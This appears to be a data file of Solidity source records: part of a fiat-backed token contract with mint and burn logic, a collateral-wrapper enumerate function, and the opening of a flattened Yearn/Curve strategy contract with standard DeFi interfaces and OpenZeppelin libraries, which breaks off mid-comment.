uint256 fiatInPaymentId; // reference to fiat transfer (deposit)
uint value; // number of new tokens minted
uint on; // UnixTime
uint currentTotalSupply; // new value of totalSupply
}
/**
* keep all fiat tx ids, to prevent minting tokens twice (or more times) for the same fiat deposit
* @param uint256 reference (id) of fiat deposit
* @param bool if true tokens already were minted for this fiat deposit
* (see: require(!fiatInPaymentIds[fiatInPaymentId]); in function mintTokens
*/
mapping(uint256 => bool) public fiatInPaymentIds;
/**
* here we can find a MintTokensEvent by fiatInPaymentId (id of fiat deposit),
* so we now if tokens were minted for given incoming fiat payment (deposit), and if yes when and how many
* @param uint256 reference (id) of fiat deposit
*/
mapping(uint256 => MintTokensEvent) public fiatInPaymentsToMintTokensEvent;
/**
* here we store MintTokensEvent with its ordinal numbers/ids (mintTokensEventsCounter)
* @param uint256 > mintTokensEventsCounter
*/
mapping(uint256 => MintTokensEvent) public mintTokensEvent;
/**
* an event with the same information as in struct MintTokensEvent
*/
event TokensMinted(
address indexed by, // who minted new tokens
uint256 indexed fiatInPaymentId, // reference to fiat payment (deposit)
uint value, // number of new minted tokens
uint currentTotalSupply, // totalSupply value after new tokens were minted
uint indexed mintTokensEventsCounter //
);
/**
* tokens should be minted to contract own address, (!) after that tokens should be transferred using transferFrom
* @param value number of tokens to create
* @param fiatInPaymentId fiat payment (deposit) id
*/
function mintTokens(uint256 value, uint256 fiatInPaymentId) public returns (bool success){
require(canMint[msg.sender], "Sender not authorized");
// require that this fiatInPaymentId was not used before:
require(!fiatInPaymentIds[fiatInPaymentId], "This fiat payment id is already used");
// Variables of uint type cannot be negative. Thus, comparing uint variable with zero (greater than or equal) is redundant
// require(value >= 0);
// this is the moment when new tokens appear in the system
totalSupply = totalSupply.add(value);
// first token holder of fresh minted tokens always is the contract itself
// (than tokens have to be transferred from contract address to user address)
balanceOf[address(this)] = balanceOf[address(this)].add(value);
mintTokensEventsCounter++;
mintTokensEvent[mintTokensEventsCounter].mintedBy = msg.sender;
mintTokensEvent[mintTokensEventsCounter].fiatInPaymentId = fiatInPaymentId;
mintTokensEvent[mintTokensEventsCounter].value = value;
mintTokensEvent[mintTokensEventsCounter].on = block.timestamp;
mintTokensEvent[mintTokensEventsCounter].currentTotalSupply = totalSupply;
// fiatInPaymentId => struct mintTokensEvent
fiatInPaymentsToMintTokensEvent[fiatInPaymentId] = mintTokensEvent[mintTokensEventsCounter];
emit TokensMinted(msg.sender, fiatInPaymentId, value, totalSupply, mintTokensEventsCounter);
// mark fiatInPaymentId as used to mint tokens
fiatInPaymentIds[fiatInPaymentId] = true;
return true;
}
/**
* mint and transfer new tokens to user in one tx
* requires msg.sender to have both 'canMint' and 'canTransferFromContract' permissions
* @param _value number of new tokens to create (to mint)
* @param fiatInPaymentId id of fiat payment (deposit) received for new tokens
* @param _to receiver of new tokens
*/
function mintAndTransfer(uint256 _value, uint256 fiatInPaymentId, address _to) public returns (bool success){
if (mintTokens(_value, fiatInPaymentId) && transferFrom(address(this), _to, _value)) {
return true;
}
return false;
}
/* -- Exchange tokens to fiat (tokens sent to contract owns address > fiat payment) */
/**
* number for every 'event' when we receive tokens to contract own address for exchange to fiat
*/
uint public tokensInEventsCounter = 0;
/**
* @param from who sent tokens for exchange
* @param value number of tokens received for exchange
* @param receivedOn timestamp (UnixTime)
*/
struct TokensInTransfer {// <<< used in 'transfer'
address from; //
uint value; //
uint receivedOn; // unix time
}
/**
* @param uint256 < tokensInEventsCounter
*/
mapping(uint256 => TokensInTransfer) public tokensInTransfer;
/**
* @param from address that sent tokens for exchange to fiat
* @param value number of tokens received
* @param tokensInEventsCounter number of event
*/
event TokensIn(
address indexed from,
uint256 value,
uint256 indexed tokensInEventsCounter
);
/**
* we also count every every token burning
*/
uint public burnTokensEventsCounter = 0;//
/**
* @param by who burned tokens
* @param value number of tokens burned
* @param tokensInEventId corresponding id on tokensInEvent, after witch tokens were burned
* @param fiatOutPaymentId id of outgoing fiat payment to user
* @param burnedOn timestamp (unix time)
* @param currentTotalSupply totalSupply after tokens were burned
*/
struct burnTokensEvent {
address by; //
uint256 value; //
uint256 tokensInEventId;
uint256 fiatOutPaymentId;
uint256 burnedOn; // UnixTime
uint256 currentTotalSupply;
}
/**
* @param uint256 < burnTokensEventsCounter
*/
mapping(uint256 => burnTokensEvent) public burnTokensEvents;
/**
* we count every fiat payment id used when burn tokens to prevent using it twice
*/
mapping(uint256 => bool) public fiatOutPaymentIdsUsed; //
/**
* smart contract event with the same data as in struct burnTokensEvent
*/
event TokensBurned(
address indexed by,
uint256 value,
uint256 indexed tokensInEventId, // this is the same as uint256 indexed tokensInEventsCounter in event TokensIn
uint256 indexed fiatOutPaymentId,
uint burnedOn, // UnixTime
uint currentTotalSupply
);
/**
* (!) only contract's own tokens (balanceOf[this]) can be burned
* @param value number of tokens to burn
* @param tokensInEventId reference to tokensInEventsCounter value for incoming tokens event (tokensInEvent)
* @param fiatOutPaymentId id of outgoing fiat payment (from the bank)
*/
function burnTokens(
uint256 value,
uint256 tokensInEventId, // this is the same as uint256 indexed tokensInEventsCounter in event TokensIn
uint256 fiatOutPaymentId
) public returns (bool success){
// Variables of uint type cannot be negative. Thus, comparing uint variable with zero (greater than or equal) is redundant
// require(value >= 0);
require(canBurn[msg.sender], "Sender not authorized");
require(balanceOf[address(this)] >= value, "Account does not have required amount");
// require(!tokensInEventIdsUsed[tokensInEventId]);
require(!fiatOutPaymentIdsUsed[fiatOutPaymentId], "This fiat payment id is already used");
balanceOf[address(this)] = balanceOf[address(this)].sub(value);
totalSupply = totalSupply.sub(value);
burnTokensEventsCounter++;
burnTokensEvents[burnTokensEventsCounter].by = msg.sender;
burnTokensEvents[burnTokensEventsCounter].value = value;
burnTokensEvents[burnTokensEventsCounter].tokensInEventId = tokensInEventId;
burnTokensEvents[burnTokensEventsCounter].fiatOutPaymentId = fiatOutPaymentId;
burnTokensEvents[burnTokensEventsCounter].burnedOn = block.timestamp;
burnTokensEvents[burnTokensEventsCounter].currentTotalSupply = totalSupply;
emit TokensBurned(msg.sender, value, tokensInEventId, fiatOutPaymentId, block.timestamp, totalSupply);
fiatOutPaymentIdsUsed[fiatOutPaymentId] = true;
return true;
}
/* ---------- Constructor */
constructor() public {// Constructor must be public or internal
// initial admin:
isAdmin[msg.sender] = true;
addToCanMint(msg.sender);
addToCanTransferFromContract(msg.sender);
addToCanBurn(msg.sender);
changeCryptonomicaVerificationContractAddress(0x846942953c3b2A898F10DF1e32763A823bf6b27f);
addAdmin(0xD851d045d8Aee53EF24890afBa3d701163AcbC8B);
// to test main functions and events (can be removed in production, or can be not):
changeMinExchangeAmount(12);
mintAndTransfer(12, 0, msg.sender);
transfer(msg.sender, 12);
transfer(address(this), 12);
burnTokens(12, 1, 0);
}
}
|
mint and transfer new tokens to user in one tx requires msg.sender to have both 'canMint' and 'canTransferFromContract' permissions _value number of new tokens to create (to mint) fiatInPaymentId id of fiat payment (deposit) received for new tokens _to receiver of new tokens/
|
function mintAndTransfer(uint256 _value, uint256 fiatInPaymentId, address _to) public returns (bool success){
if (mintTokens(_value, fiatInPaymentId) && transferFrom(address(this), _to, _value)) {
return true;
}
return false;
}
| 12,925,598 |
./full_match/1/0xE0Ec9C64C56f0CD4dC29f169fC095737B6c29FDE/sources/contracts/wrappers/BundleCollateralWrapper.sol
|
@inheritdoc ICollateralWrapper/ Get token address from context / Compute number of tokens in context / Instantiate asset info array / Populate asset info array /
|
function enumerate(
uint256 tokenId,
bytes calldata context
) external view returns (address token, uint256[] memory tokenIds) {
if (tokenId != uint256(_hash(context))) revert InvalidContext();
token = address(uint160(bytes20(context[0:20])));
uint256 count = (context.length - 20) / 32;
tokenIds = new uint256[](count);
uint256 offset = 20;
for (uint256 i; i < count; i++) {
tokenIds[i] = uint256(bytes32(context[offset:offset + 32]));
offset += 32;
}
}
| 2,996,840 |
/**
*Submitted for verification at Etherscan.io on 2021-10-23
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: IBaseFee
interface IBaseFee {
function basefee_global() external view returns (uint256);
}
// Part: ICurveFi
interface ICurveFi {
function get_virtual_price() external view returns (uint256);
function add_liquidity(
// EURt
uint256[2] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
// Compound, sAave
uint256[2] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
// Iron Bank, Aave
uint256[3] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
// 3Crv Metapools
address pool,
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function add_liquidity(
// Y and yBUSD
uint256[4] calldata amounts,
uint256 min_mint_amount,
bool _use_underlying
) external payable returns (uint256);
function add_liquidity(
// 3pool
uint256[3] calldata amounts,
uint256 min_mint_amount
) external payable;
function add_liquidity(
// sUSD
uint256[4] calldata amounts,
uint256 min_mint_amount
) external payable;
function remove_liquidity_imbalance(
uint256[2] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[2] calldata amounts)
external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_amount
) external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function balances(uint256) external view returns (uint256);
function get_dy(
int128 from,
int128 to,
uint256 _from_amount
) external view returns (uint256);
// EURt
function calc_token_amount(uint256[2] calldata _amounts, bool _is_deposit)
external
view
returns (uint256);
// 3Crv Metapools
function calc_token_amount(
address _pool,
uint256[4] calldata _amounts,
bool _is_deposit
) external view returns (uint256);
// sUSD, Y pool, etc
function calc_token_amount(uint256[4] calldata _amounts, bool _is_deposit)
external
view
returns (uint256);
// 3pool, Iron Bank, etc
function calc_token_amount(uint256[3] calldata _amounts, bool _is_deposit)
external
view
returns (uint256);
function calc_withdraw_one_coin(uint256 amount, int128 i)
external
view
returns (uint256);
}
// Part: ICurveStrategyProxy
interface ICurveStrategyProxy {
function proxy() external returns (address);
function balanceOf(address _gauge) external view returns (uint256);
function deposit(address _gauge, address _token) external;
function withdraw(
address _gauge,
address _token,
uint256 _amount
) external returns (uint256);
function withdrawAll(address _gauge, address _token)
external
returns (uint256);
function harvest(address _gauge) external;
function lock() external;
function approveStrategy(address) external;
function revokeStrategy(address) external;
function claimRewards(address _gauge, address _token) external;
}
// Part: IOracle
interface IOracle {
function ethToAsset(
uint256 _ethAmountIn,
address _tokenOut,
uint32 _twapPeriod
) external view returns (uint256 amountOut);
}
// Part: IUniV3
interface IUniV3 {
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
function exactInput(ExactInputParams calldata params)
external
payable
returns (uint256 amountOut);
}
// Part: IUniswapV2Router01
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: yearn/[email protected]/HealthCheck
interface HealthCheck {
function check(
uint256 profit,
uint256 loss,
uint256 debtPayment,
uint256 debtOutstanding,
uint256 totalDebt
) external view returns (bool);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: yearn/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
